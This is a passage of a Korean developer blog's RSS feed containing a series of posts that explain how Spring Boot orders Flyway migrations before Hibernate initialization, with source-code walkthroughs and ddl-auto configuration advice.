<h3 id="성능-측정">성능 측정</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/f013874a-69c3-4712-b586-0e8ef1d366aa/image.png" alt=""></p>
<h2 id="트러블슈팅-섹션">트러블슈팅 섹션</h2>
<h3 id="q1-flyway-마이그레이션이-실패하면">Q1: Flyway 마이그레이션이 실패하면?</h3>
</li>
<li><p>시나리오
<img src="https://velog.velcdn.com/images/eunseo_song/post/3c21c215-0fd6-4517-9366-9152c43bff7e/image.png" alt=""></p>
</li>
<li><p>에러 발생 시
<img src="https://velog.velcdn.com/images/eunseo_song/post/f6d38b70-203c-4242-83fb-2c340df6278e/image.png" alt=""></p>
</li>
<li><p>결과</p>
<ul>
<li>FlywayMigrationInitializer.afterPropertiesSet()에서 예외 발생</li>
<li>Hibernate는 시작조차 안 됨 (dependsOn 때문)</li>
<li>애플리케이션 시작 실패</li>
</ul>
</li>
<li><p>해결 방법</p>
<ol>
<li>SQL 수정 후 재시작</li>
<li>또는 flyway.repair() 실행<h3 id="q2-순서를-강제로-바꾸려면">Q2: 순서를 강제로 바꾸려면?</h3>
<h4 id="1-dependson-직접-사용">1. @DependsOn 직접 사용</h4>
<img src="https://velog.velcdn.com/images/eunseo_song/post/2ab30ff2-e291-4168-bc11-d6db9b68b927/image.png" alt=""></li>
</ol>
</li>
<li><p>주의: 이렇게 하면 Flyway를 사용하는 의미가 없어진다</p>
<h4 id="2-ordered-값-조정">2. Ordered 값 조정</h4>
</li>
<li><p>FlywayMigrationInitialzer.java
<img src="https://velog.velcdn.com/images/eunseo_song/post/ab6046ef-25c6-4d1f-82e4-6241544bfcd4/image.png" alt=""></p>
</li>
<li><p>커스터마이징
<img src="https://velog.velcdn.com/images/eunseo_song/post/dbad44c0-539d-4a3a-9186-6b086b645400/image.png" alt=""></p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Flyway] Spring Boot는 어떻게 초기화 순서를 보장할까?DatabaseInitializationDependencyConfigurer 파헤치기]]></title>
            <link>https://velog.io/@eunseo_song/5.-Spring-Boot%EB%8A%94-%EC%96%B4%EB%96%BB%EA%B2%8C-%EC%B4%88%EA%B8%B0%ED%99%94-%EC%88%9C%EC%84%9C%EB%A5%BC-%EB%B3%B4%EC%9E%A5%ED%95%A0%EA%B9%8CDatabaseInitializationDependencyConfigurer-%ED%8C%8C%ED%97%A4%EC%B9%98%EA%B8%B0</link>
            <guid>https://velog.io/@eunseo_song/5.-Spring-Boot%EB%8A%94-%EC%96%B4%EB%96%BB%EA%B2%8C-%EC%B4%88%EA%B8%B0%ED%99%94-%EC%88%9C%EC%84%9C%EB%A5%BC-%EB%B3%B4%EC%9E%A5%ED%95%A0%EA%B9%8CDatabaseInitializationDependencyConfigurer-%ED%8C%8C%ED%97%A4%EC%B9%98%EA%B8%B0</guid>
            <pubDate>Sun, 18 Jan 2026 14:13:48 GMT</pubDate>
            <description><![CDATA[<h2 id="저번-시간-내용">저번 시간 내용</h2>
<h2 id="4장-dependsondatabaseinitialization-애노테이션">4장. @DependsOnDatabaseInitialization 애노테이션</h2>
<ul>
<li>파일 위치
spring-boot-3.0.4.jar
org/springframework/boot/sql/init/dependency/DependsOnDatabaseInitialization.java</li>
<li>프로젝트 내 실제 사용 예시
<img src="https://velog.velcdn.com/images/eunseo_song/post/cc7220df-b66e-4c4f-b696-ebd24db25515/image.png" alt=""></li>
</ul>
<h3 id="역할">역할</h3>
<ul>
<li>이 애노테이션이 붙은 Bean은 자동으로 Flyway 이후에 초기화됨</li>
<li>DatabaseInitializationDependencyConfigurer가 자동 감지</li>
<li>dependsOn이 자동으로 주입됨<h2 id="5장-databaseinitializationdependencyconfigurer-동작-원리">5장. DatabaseInitializationDependencyConfigurer 동작 원리</h2>
<h3 id="시각적-다이어그램">시각적 다이어그램</h3>
<blockquote>
<p>  <img src="https://velog.velcdn.com/images/eunseo_song/post/221674b7-bd4b-4176-86a9-49cb16d76d2b/image.png" alt=""></p>
</blockquote>
</li>
</ul>
<h2 id="6장-bean-definition-검증">6장. Bean Definition 검증</h2>
<ul>
<li>파일 위치
java/ssu/eatssu/global/config/BeanDependencyChecker.java</li>
<li>실제로 dependsOn이 주입되었는지 확인</li>
</ul>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/acf29028-8f48-4c2d-aff3-6d6494e61ee5/image.png" alt=""></p>
<ul>
<li>출력:
=== EntityManagerFactory Bean 의존성 분석 ===
dependsOn: [flywayInitializer]
=== FlywayInitializer Bean 의존성 분석 ===
dependsOn: 없음<h2 id="7장-localcontainerentitymanagerfactorybean-분석">7장. LocalContainerEntityManagerFactoryBean 분석</h2>
</li>
<li>파일 위치
spring-orm-6.0.6.jar (Spring Framework)
org/springframework/orm/jpa/LocalContainerEntityManagerFactoryBean.java</li>
</ul>
<h3 id="주요-메서드">주요 메서드</h3>
<ul>
<li>afterPropertiesSet() (355-373번 줄)</li>
</ul>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/c6222606-5379-416a-99a6-a73feca8ee62/image.png" alt=""></p>
<h3 id="핵심-부분">핵심 부분</h3>
<ul>
<li>Line 355: afterPropertiesSet() 시작 - InitializingBean 인터페이스 구현</li>
<li>Line 363: determinePersistenceUnitInfo() - JPA 영속성 유닛 정보 결정</li>
<li>Line 364-370: Hibernate 같은 JPA Vendor Adapter 설정</li>
<li>Line 372: super.afterPropertiesSet() 호출 → 실제 EntityManagerFactory 생성</li>
</ul>
<h3 id="abstractentitymanagerfactorybean의-afterpropertiesset-호출-시">AbstractEntityManagerFactoryBean의 afterPropertiesSet() 호출 시:</h3>
<ul>
<li>Hibernate 부트스트랩 시작</li>
<li>ddl-auto 전략 실행 (validate/update/create 등)</li>
<li>스키마 검증 수행<h2 id="8장-hibernate-설정-선택사항">8장. Hibernate 설정 (선택사항)</h2>
<h2 id="8-1-hibernatejpaautoconfiguration">8-1. HibernateJpaAutoConfiguration</h2>
</li>
<li>파일 위치: spring-boot-autoconfigure-3.0.4-sources.jar
org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaAutoConfiguration.java</li>
</ul>
<h3 id="주요-애노테이션">주요 애노테이션</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/47c5c732-34a1-485e-a096-9af3a9a6aa34/image.png" alt=""></p>
<ul>
<li>@AutoConfiguration(after = DataSourceAutoConfiguration.class, before = TransactionAutoConfiguration.class)</li>
<li>@ConditionalOnClass({ LocalContainerEntityManagerFactoryBean.class, EntityManager.class, SessionImplementor.class })</li>
<li>@EnableConfigurationProperties(JpaProperties.class)</li>
<li>@Import(HibernateJpaConfiguration.class)</li>
<li>public class HibernateJpaAutoConfiguration {</li>
</ul>
<h3 id="특징">특징:</h3>
<ul>
<li>매우 간결한 마커 클래스</li>
<li>실제 구현은 HibernateJpaConfiguration으로 위임<h2 id="8-2-hibernatejpaconfiguration">8-2. HibernateJpaConfiguration</h2>
</li>
<li>파일 위치:
spring-boot-autoconfigure-3.0.4-sources.jar
org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaConfiguration.java</li>
</ul>
<h3 id="클래스-선언">클래스 선언</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/e412e8b5-c259-421b-91e7-bf502a075f07/image.png" alt=""></p>
<ul>
<li>@Configuration(proxyBeanMethods = false)</li>
<li>@EnableConfigurationProperties(HibernateProperties.class)</li>
<li>@ConditionalOnSingleCandidate(DataSource.class)</li>
<li>class HibernateJpaConfiguration extends JpaBaseConfiguration {</li>
</ul>
<h3 id="주요-상수">주요 상수:</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/225d2fe4-7ccf-4f93-82e6-04a48913ea7a/image.png" alt=""></p>
<ul>
<li>JTA_PLATFORM - 68번 줄</li>
<li>PROVIDER_DISABLES_AUTOCOMMIT - 70번 줄</li>
</ul>
<h3 id="주요-필드">주요 필드:</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/0db8e8b4-ffa0-4bc4-b4f7-70836acd820a/image.png" alt=""></p>
<ul>
<li>hibernateProperties - 79번 줄</li>
<li>defaultDdlAutoProvider - 81번 줄</li>
<li>poolMetadataProvider - 83번 줄</li>
<li>hibernatePropertiesCustomizers - 85번 줄</li>
</ul>
<h3 id="생성자">생성자:</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/faf56a4b-d459-44db-9add-6d18c6fda7dd/image.png" alt=""></p>
<ul>
<li>87-102번 줄 - 모든 의존성 주입</li>
</ul>
<h3 id="주요-메서드-1">주요 메서드:</h3>
<ul>
<li>createJpaVendorAdapter() - 122-125번 줄 ⭐ HibernateJpaVendorAdapter 생성</li>
</ul>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/2936cbc2-06e2-4a91-984c-ed0283d3b4be/image.png" alt=""></p>
<ul>
<li>getVendorProperties() - 127-133번 줄 ⭐ Hibernate 속성 반환</li>
</ul>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/b8ddb4d6-c03b-487c-8129-9da2def000b8/image.png" alt=""></p>
<ul>
<li>customizeVendorProperties() - 135-144번 줄 ⭐ JTA 플랫폼, 자동커밋 설정</li>
</ul>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/7a67c718-85f3-4f14-903d-65d5c5a0eebf/image.png" alt=""></p>
<ul>
<li>configureJtaPlatform() - 146-157번 줄 - JTA 트랜잭션 매니저 설정</li>
</ul>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/dff1e349-c050-451d-a0f2-bfaf239319a2/image.png" alt=""></p>
<ul>
<li>configureProviderDisablesAutocommit() - 159-163번 줄 - 자동커밋 비활성화</li>
</ul>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/c5dc26ea-0567-4efa-ba4d-956829cee19f/image.png" alt=""></p>
<h3 id="내부-클래스">내부 클래스:</h3>
<ul>
<li>NamingStrategiesHibernatePropertiesCustomizer - 216-238번 줄</li>
</ul>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/f038c804-4286-4cfe-83fa-0f64a3903616/image.png" alt=""></p>
<ul>
<li>물리/암시적 네이밍 전략 커스터마이징 (229-236번 줄)</li>
</ul>
<h1 id="9장-실제-실행-로그-확인">9장. 실제 실행 로그 확인</h1>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/5112fb75-eff7-4fd3-8de7-c51fc2df17fd/image.png" alt=""></p>
<ul>
<li>애플리케이션 실행 시 콘솔 로그를 캡쳐했습니다.</li>
</ul>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/687faeab-ca89-4549-b4b5-87c08106d25a/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Flyway] Flyway는 어떻게 먼저 실행될까? FlywayMigrationInitializer 소스 코드 분석]]></title>
            <link>https://velog.io/@eunseo_song/4.-Flyway%EB%8A%94-%EC%96%B4%EB%96%BB%EA%B2%8C-%EB%A8%BC%EC%A0%80-%EC%8B%A4%ED%96%89%EB%90%A0%EA%B9%8C-FlywayMigrationInitializer-%EC%86%8C%EC%8A%A4-%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D</link>
            <guid>https://velog.io/@eunseo_song/4.-Flyway%EB%8A%94-%EC%96%B4%EB%96%BB%EA%B2%8C-%EB%A8%BC%EC%A0%80-%EC%8B%A4%ED%96%89%EB%90%A0%EA%B9%8C-FlywayMigrationInitializer-%EC%86%8C%EC%8A%A4-%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D</guid>
            <pubDate>Sun, 18 Jan 2026 14:07:22 GMT</pubDate>
            <description><![CDATA[<h2 id="저번-시간에-다룬-내용">저번 시간에 다룬 내용</h2>
<h1 id="1장-spring-bean-초기화-메커니즘">1장. Spring Bean 초기화 메커니즘</h1>
<h2 id="1-1-initializingbean-인터페이스">1-1. InitializingBean 인터페이스</h2>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/88513346-f0f4-4fc2-b493-dd974ad4b9d2/image.png" alt=""></p>
<ul>
<li>파일 위치:
spring-beans-6.0.6.jar
org.springframework.beans.factory.InitializingBean</li>
</ul>
<h3 id="메서드">메서드:</h3>
<ul>
<li>void afterPropertiesSet() throws Exception;</li>
</ul>
<h3 id="프로젝트-내-사용-예시">프로젝트 내 사용 예시:</h3>
<ul>
<li>WarmUpRunner.java (main/java/ssu/eatssu/global/runner/WarmUpRunner.java)
<img src="https://velog.velcdn.com/images/eunseo_song/post/38308ea7-b5d0-4b1b-96e0-9ea4322f2e4d/image.png" alt="">
ApplicationRunner 인터페이스 구현 (유사한 초기화 메커니즘)<h2 id="1-2-ordered-인터페이스">1-2. Ordered 인터페이스</h2>
<h3 id="위치">위치:</h3>
</li>
</ul>
<p>Spring Framework Core (6.0.6)
JAR: spring-core-6.0.6.jar
인터페이스: org.springframework.core.Ordered
<img src="https://velog.velcdn.com/images/eunseo_song/post/5954fcd6-baa6-47f0-bc93-207e52c04475/image.png" alt=""></p>
<h3 id="메서드-1">메서드:</h3>
<ul>
<li>int getOrder()</li>
</ul>
<p>프로젝트 내 사용 예시:</p>
<ul>
<li><p>MDCLoggingFilter (main/java/ssu/eatssu/global/log/MDCLoggingFilter.java:23)
@Order(Ordered.HIGHEST_PRECEDENCE) 사용
<img src="https://velog.velcdn.com/images/eunseo_song/post/7f2a12a5-49aa-4583-9130-a7f385bbcfed/image.png" alt=""></p>
<h2 id="1-3-order-vs-dependson-차이">1-3. @Order vs dependsOn 차이</h2>
<h3 id="order-vs-dependson-차이">@Order vs dependsOn 차이</h3>
</li>
<li><p>파일 위치
main/java/ssu/eatssu/global/log/MDCLoggingFilter.java</p>
</li>
<li><p>@Order(Ordered.HIGHEST_PRECEDENCE)</p>
</li>
<li><p><strong>차이점</strong></p>
<p>  <img src="attachment:5b4ae936-66c6-40ab-b310-023bd3beed8a:%E1%84%89%E1%85%B3%E1%84%8F%E1%85%B3%E1%84%85%E1%85%B5%E1%86%AB%E1%84%89%E1%85%A3%E1%86%BA_2026-01-18_%E1%84%8B%E1%85%A9%E1%84%92%E1%85%AE_9.40.35.png" alt="스크린샷 2026-01-18 오후 9.40.35.png"></p>
</li>
<li><p>DatabaseInitializationDependencyConfigurer의 선택</p>
<ul>
<li>@Order만으로는 보장 불가능</li>
<li>dependsOn으로 강제 의존성 주입<h1 id="2장-flyway-초기화-과정">2장. Flyway 초기화 과정</h1>
<h2 id="2-1-flywayautoconfiguration-분석">2-1. FlywayAutoConfiguration 분석</h2>
</li>
</ul>
</li>
<li><p>위치: 외부 라이브러리 (Spring Boot 3.0.4)</p>
</li>
<li><p>JAR: spring-boot-autoconfigure-3.0.4.jar</p>
</li>
<li><p>클래스: org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration</p>
</li>
</ul>
<h3 id="주요-애노테이션">주요 애노테이션:</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/e51e6717-5c63-497d-9e25-557a91e5152b/image.png" alt=""></p>
<ul>
<li>@AutoConfiguration(after = {DataSourceAutoConfiguration, JdbcTemplateAutoConfiguration, HibernateJpaAutoConfiguration})</li>
<li>@ConditionalOnClass(Flyway.class)</li>
</ul>
<h3 id="주요-메서드">주요 메서드:</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/82770c21-b6f1-4de7-b407-e5625d07c9c4/image.png" alt=""></p>
<ul>
<li><p>stringOrNumberMigrationVersionConverter()</p>
</li>
<li><p>flywayDefaultDdlModeProvider()</p>
</li>
<li><p>flyway() - 132~145번 줄(실제 Flyway 빈 생성)
<img src="https://velog.velcdn.com/images/eunseo_song/post/331eba3d-08c1-4828-a98b-77d62cc0fc99/image.png" alt=""></p>
</li>
</ul>
<ul>
<li>configureDataSource() - 147~151번 줄</li>
</ul>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/8bff1570-f171-4f80-9ac0-ad9bbe9a0b77/image.png" alt=""></p>
<ul>
<li>configureProperties() - 182~258번 줄 (Flyway 속성 매핑)
<img src="https://velog.velcdn.com/images/eunseo_song/post/5a1dca5c-5fd1-451d-a5fd-238f775bb4ce/image.png" alt=""></li>
</ul>
<h3 id="내부-클래스">내부 클래스:</h3>
<ul>
<li>FlywayConfiguration - 111-287번 줄
<img src="https://velog.velcdn.com/images/eunseo_song/post/9d0f96f1-893a-43b7-a0ca-da35b411c2f1/image.png" alt=""></li>
</ul>
<ul>
<li>FlywayMigrationInitializer 빈 생성 - 280-285번 줄
<img src="https://velog.velcdn.com/images/eunseo_song/post/8df2db56-3511-42f9-bfd6-d580e70f3913/image.png" alt=""></li>
</ul>
<h2 id="2-2-flywaymigrationinitializer-클래스">2-2. FlywayMigrationInitializer 클래스</h2>
<ul>
<li>파일 위치: spring-boot-autoconfigure-3.0.4-sources.jar
org/springframework/boot/autoconfigure/flyway/FlywayMigrationInitializer.java</li>
</ul>
<h3 id="클래스-선언">클래스 선언:</h3>
<ul>
<li>public class FlywayMigrationInitializer implements InitializingBean, Ordered {
<img src="https://velog.velcdn.com/images/eunseo_song/post/3c50e0e6-e909-4d95-ad6f-9ea6e6f54fab/image.png" alt=""></li>
</ul>
<h3 id="구현-인터페이스">구현 인터페이스:</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/00de06f8-c955-4be0-8561-f2b7c2835922/image.png" alt=""></p>
<ul>
<li>InitializingBean - 21번 줄 import, 32번 줄 구현</li>
<li>Ordered - 22번 줄 import, 32번 줄 구현</li>
</ul>
<h3 id="주요-필드">주요 필드:</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/b0cbf111-f7f7-427d-929c-703872c1f37b/image.png" alt=""></p>
<ul>
<li>flyway - 34번 줄</li>
<li>migrationStrategy - 36번 줄</li>
<li>order - 38번 줄 (기본값 0)</li>
</ul>
<h3 id="주요-메서드-1">주요 메서드:</h3>
<ul>
<li>생성자 FlywayMigrationInitializer(Flyway flyway) - 44-46번 줄</li>
</ul>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/492f204d-dd0b-4a9f-a1eb-1fbc7d07c4ca/image.png" alt=""></p>
<ul>
<li>생성자 FlywayMigrationInitializer(Flyway flyway, FlywayMigrationStrategy migrationStrategy) - 53-57번 줄</li>
</ul>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/e34db7e3-3bee-4cf9-af89-f041b91fe7fb/image.png" alt=""></p>
<ul>
<li>afterPropertiesSet() - 59-73번 줄 ⭐ 실제 마이그레이션 실행</li>
</ul>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/65d74469-5708-47c3-bad4-ac0f7ae9e87b/image.png" alt=""></p>
<ul>
<li><p>66번 줄: this.flyway.migrate(); 호출</p>
</li>
<li><p>getOrder() - 75-78번 줄
<img src="https://velog.velcdn.com/images/eunseo_song/post/eee40423-aafa-4a51-8fba-320f3fcbebb0/image.png" alt=""></p>
</li>
<li><p>setOrder(int order) - 80-82번 줄
<img src="https://velog.velcdn.com/images/eunseo_song/post/c3b8b9a0-08cc-4041-8539-728564c3e041/image.png" alt=""></p>
</li>
</ul>
<h1 id="3장-databaseinitializer-등록-메커니즘">3장. DatabaseInitializer 등록 메커니즘</h1>
<ul>
<li>파일 위치
spring-boot-autoconfigure-3.0.4-sources.jar
org/springframework/boot/autoconfigure/flyway/FlywayAutoConfiguration.java</li>
</ul>
<h3 id="flywaymigrationinitializer-bean-생성">FlywayMigrationInitializer Bean 생성</h3>
<ul>
<li>FlywayAutoConfiguration.java
<img src="https://velog.velcdn.com/images/eunseo_song/post/366d3f53-a93d-4f88-818e-9a8acde78c6a/image.png" alt=""></li>
</ul>
<p>이 Bean이 DatabaseInitializer 타입으로 등록되는 과정 설명</p>
<h3 id="databaseinitailzer-감지기">DatabaseInitailzer 감지기</h3>
<ul>
<li>파일 위치
spring-boot-autoconfigure-3.0.4-sources.jar
org/springframework/boot/autoconfigure/flyway/FlywayMigrationInitializerDatabaseInitializerDetector.java
<img src="https://velog.velcdn.com/images/eunseo_song/post/7b708256-2ad5-47dd-809e-b1c470d55d15/image.png" alt=""></li>
</ul>
<h3 id="등록-흐름">등록 흐름:</h3>
<ol>
<li>FlywayAutoConfiguration에서 FlywayMigrationInitializer Bean 생성</li>
<li>FlywayMigrationInitializerDatabaseInitializerDetector가 이를 감지</li>
<li>DatabaseInitializer로 등록 (SpringFactoriesLoader 메커니즘)</li>
<li>postProcessBeanFactory에서 initializerBeanNames에 포함됨</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Flyway] Spring Boot에서 Flyway와 Hibernate 초기화 순서가 중요한 이유]]></title>
            <link>https://velog.io/@eunseo_song/2.-Spring-Boot%EC%97%90%EC%84%9C-Flyway%EC%99%80-Hibernate-%EC%B4%88%EA%B8%B0%ED%99%94-%EC%88%9C%EC%84%9C%EA%B0%80-%EC%A4%91%EC%9A%94%ED%95%9C-%EC%9D%B4%EC%9C%A0</link>
            <guid>https://velog.io/@eunseo_song/2.-Spring-Boot%EC%97%90%EC%84%9C-Flyway%EC%99%80-Hibernate-%EC%B4%88%EA%B8%B0%ED%99%94-%EC%88%9C%EC%84%9C%EA%B0%80-%EC%A4%91%EC%9A%94%ED%95%9C-%EC%9D%B4%EC%9C%A0</guid>
            <pubDate>Sun, 18 Jan 2026 13:43:40 GMT</pubDate>
            <description><![CDATA[<h2 id="1-들어가며-실제로-겪은-문제">1. 들어가며: 실제로 겪은 문제</h2>
<p>Spring Boot 애플리케이션을 처음 실행했을 때 이런 에러를 본 적 있나요?</p>
<blockquote>
<p>Table &#39;mydb.users&#39; doesn&#39;t exist</p>
</blockquote>
<p>분명 Flyway 마이그레이션 스크립트에 CREATE TABLE users ... 구문을 작성했는데 왜 테이블이 없다고 할까요?</p>
<p>이 문제의 핵심은 <strong>초기화 순서</strong>에 있습니다. <strong>Hibernate가 Flyway보다 먼저 실행</strong>되면서 아직 생성되지 않은 테이블을 검증하려다 실패하는 것이죠.</p>
<h2 id="2-ddl-auto-validate를-사용하는-이유">2. ddl-auto: validate를 사용하는 이유</h2>
<h4 id="--프로덕션-환경에서-권장되는-설정">- 프로덕션 환경에서 권장되는 설정</h4>
<pre><code>spring:
  jpa:
    hibernate:
      ddl-auto: validate  # ⭐ 엔티티와 DB 스키마가 일치하는지만 검증</code></pre><h4 id="--ddl-auto-옵션-비교">- ddl-auto 옵션 비교</h4>
<table>
<thead>
<tr>
<th>옵션</th>
<th>동작</th>
<th>프로덕션 사용</th>
</tr>
</thead>
<tbody><tr>
<td><strong>validate</strong></td>
<td>DB 스키마와 엔티티 일치 여부만 검증 (변경 없음)</td>
<td>✅ 권장</td>
</tr>
<tr>
<td><strong>update</strong></td>
<td>엔티티에 맞춰 DB 스키마 자동 수정</td>
<td>⚠️ 위험 (컬럼 삭제 안됨)</td>
</tr>
<tr>
<td><strong>create</strong></td>
<td>매번 테이블 DROP 후 재생성</td>
<td>❌ 절대 사용 금지</td>
</tr>
<tr>
<td><strong>create-drop</strong></td>
<td>애플리케이션 종료 시 테이블 삭제</td>
<td>❌ 테스트 용도만</td>
</tr>
<tr>
<td><strong>none</strong></td>
<td>아무것도 안 함</td>
<td>✅ Flyway 사용 시</td>
</tr>
<tr>
<td>#### - validate를 선택하는 이유</td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>1. 안전성</strong></td>
<td></td>
<td></td>
</tr>
<tr>
<td>- DB 스키마를 절대 변경하지 않음</td>
<td></td>
<td></td>
</tr>
<tr>
<td>- 실수로 테이블이 삭제되거나 수정될 위험 없음</td>
<td></td>
<td></td>
</tr>
</tbody></table>
<p><strong>2. 명확한 책임 분리</strong></p>
<ul>
<li>스키마 관리: Flyway (버전 관리, 롤백 가능)</li>
<li>스키마 검증: Hibernate (엔티티와 DB 일치 여부 확인)</li>
</ul>
<p><strong>3. 배포 안정성</strong>
개발자 A: User 엔티티에 email 컬럼 추가
개발자 B: Flyway 마이그레이션 스크립트 작성 (V2__add_email_column.sql)</p>
<p>❌ update 사용 시: 개발자 B가 마이그레이션 스크립트를 안 만들어도 동작함
                   → 배포 시 스크립트 누락 → 프로덕션 장애</p>
<p>✅ validate 사용 시: 마이그레이션 스크립트 없으면 즉시 에러 발생
                     → 배포 전에 문제 발견 가능</p>
<h2 id="3-순서가-왜-중요한가">3. 순서가 왜 중요한가?</h2>
<h3 id="❌-잘못된-순서-hibernate-→-flyway">❌ 잘못된 순서 (Hibernate → Flyway)</h3>
<p>1️⃣ Hibernate 초기화 시작
   → &quot;User 엔티티가 있네? DB에 users 테이블이 있는지 확인해야지!&quot;</p>
<p>2️⃣ DB 확인
   → &quot;어? users 테이블이 없는데요? 🚨&quot;</p>
<p>💥 org.hibernate.tool.schema.spi.SchemaManagementException: 
   Schema-validation: missing table [users]</p>
<p>3️⃣ 애플리케이션 시작 실패
   → Flyway는 실행조차 못함</p>
<h3 id="✅-올바른-순서-flyway-→-hibernate">✅ 올바른 순서 (Flyway → Hibernate)</h3>
<p>1️⃣ Flyway 마이그레이션 실행
   → V1__create_users_table.sql 실행
   → CREATE TABLE users (...) ✅</p>
<p>2️⃣ Hibernate 초기화
   → &quot;User 엔티티가 있네? DB에 users 테이블이 있는지 확인해야지!&quot;
   → &quot;있네! 컬럼도 일치하고! ✅&quot;</p>
<p>3️⃣ 애플리케이션 정상 시작 🎉</p>
<h2 id="4-실제-실행-로그로-확인하기">4. 실제 실행 로그로 확인하기</h2>
<h3 id="순서-확인을-위한-로거-작성">순서 확인을 위한 로거 작성</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/77bb9166-b439-4acf-9736-b0443bb65869/image.png" alt=""></p>
<h4 id="실제-콘솔-로그">실제 콘솔 로그</h4>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/ebf09cec-9355-44a0-baa2-f1003317c883/image.png" alt=""></p>
<h4 id="핵심-포인트">핵심 포인트</h4>
<ol>
<li>Flyway가 먼저 실행됨</li>
<li>마이그레이션 완료 후 Hibernate 시작</li>
<li>Hibernate는 이미 존재하는 테이블을 검증만 함<h2 id="5-springboot의-해결-방법-미리보기">5. SpringBoot의 해결 방법 미리보기</h2>
<blockquote>
<p>🤔 그럼 개발자가 직접 순서를 관리해야 하나?</p>
</blockquote>
</li>
</ol>
<blockquote>
<p><strong>아닙니다!</strong> Spring Boot는 이미 자동으로 순서를 보장합니다.</p>
</blockquote>
<h3 id="시각적-플로우">시각적 플로우</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/271e0a64-20ef-4350-8be7-99885badc5f5/image.png" alt=""></p>
<ul>
<li><h4 id="핵심-메커니즘-요약">핵심 메커니즘 요약</h4>
Spring Boot 2.5+ 부터는 DatabaseInitializationDependencyConfigurer가:</li>
</ul>
<ol>
<li>@DependsOnDatabaseInitialization 애노테이션이 붙은 Bean 찾기</li>
<li>자동으로 dependsOn = [&quot;flywayInitializer&quot;] 주입</li>
<li>Spring Container가 Bean 생성 순서 보장<pre><code>// EntityManagerFactory는 이 애노테이션이 붙어있음
@DependsOnDatabaseInitialization
public class LocalContainerEntityManagerFactoryBean { ... }</code></pre></li>
</ol>
<ul>
<li>결과: 개발자는 아무것도 안 해도 Flyway가 먼저 실행된다.</li>
</ul>
<h2 id="6-마무리다음편-예고">6. 마무리&amp;다음편 예고</h2>
<h4 id="✅-이번-편에서-배운-것">✅ 이번 편에서 배운 것</h4>
<p><strong>1. ddl-auto: validate를 사용하는 이유</strong></p>
<ul>
<li><p>프로덕션 환경에서 안전</p>
</li>
<li><p>Flyway와 명확한 책임 분리</p>
</li>
<li><p><em>2. 초기화 순서가 중요한 이유*</em></p>
</li>
<li><p>Hibernate가 먼저 실행되면 테이블 없다고 에러</p>
</li>
<li><p>Flyway → Hibernate 순서가 필수</p>
</li>
<li><p><em>3. Spring Boot의 자동 순서 보장*</em></p>
</li>
<li><p>DatabaseInitializationDependencyConfigurer</p>
</li>
<li><p>dependsOn 자동 주입으로 순서 보장</p>
<h4 id="📖-다음-편-예고---3-spring-boot-databaseinitializationdependencyconfigurer-동작-원리---소스-코드-분석">📖 다음 편 예고 - 3. Spring Boot DatabaseInitializationDependencyConfigurer 동작 원리 - 소스 코드 분석</h4>
<p>다음 편에서는:</p>
</li>
<li><p>BeanFactoryPostProcessor가 언제 어떻게 동작하는지</p>
</li>
<li><p>dependsOn이 어떻게 자동으로 주입되는지</p>
</li>
<li><p>Spring Framework 소스 코드를 직접 분석</p>
</li>
<li><p>LocalContainerEntityManagerFactoryBean 내부 동작
을 알아보겠습니다!</p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Flyway] Flyway로 DB Migration(형상관리) 시작하기: 배포 후 스키마 변경을 안전하게 다루는 법]]></title>
            <link>https://velog.io/@eunseo_song/Flyway%EB%A1%9C-DB-Migration%ED%98%95%EC%83%81%EA%B4%80%EB%A6%AC-%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0-%EB%B0%B0%ED%8F%AC-%ED%9B%84-%EC%8A%A4%ED%82%A4%EB%A7%88-%EB%B3%80%EA%B2%BD%EC%9D%84-%EC%95%88%EC%A0%84%ED%95%98%EA%B2%8C-%EB%8B%A4%EB%A3%A8%EB%8A%94-%EB%B2%95</link>
            <guid>https://velog.io/@eunseo_song/Flyway%EB%A1%9C-DB-Migration%ED%98%95%EC%83%81%EA%B4%80%EB%A6%AC-%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0-%EB%B0%B0%ED%8F%AC-%ED%9B%84-%EC%8A%A4%ED%82%A4%EB%A7%88-%EB%B3%80%EA%B2%BD%EC%9D%84-%EC%95%88%EC%A0%84%ED%95%98%EA%B2%8C-%EB%8B%A4%EB%A3%A8%EB%8A%94-%EB%B2%95</guid>
            <pubDate>Mon, 12 Jan 2026 08:20:41 GMT</pubDate>
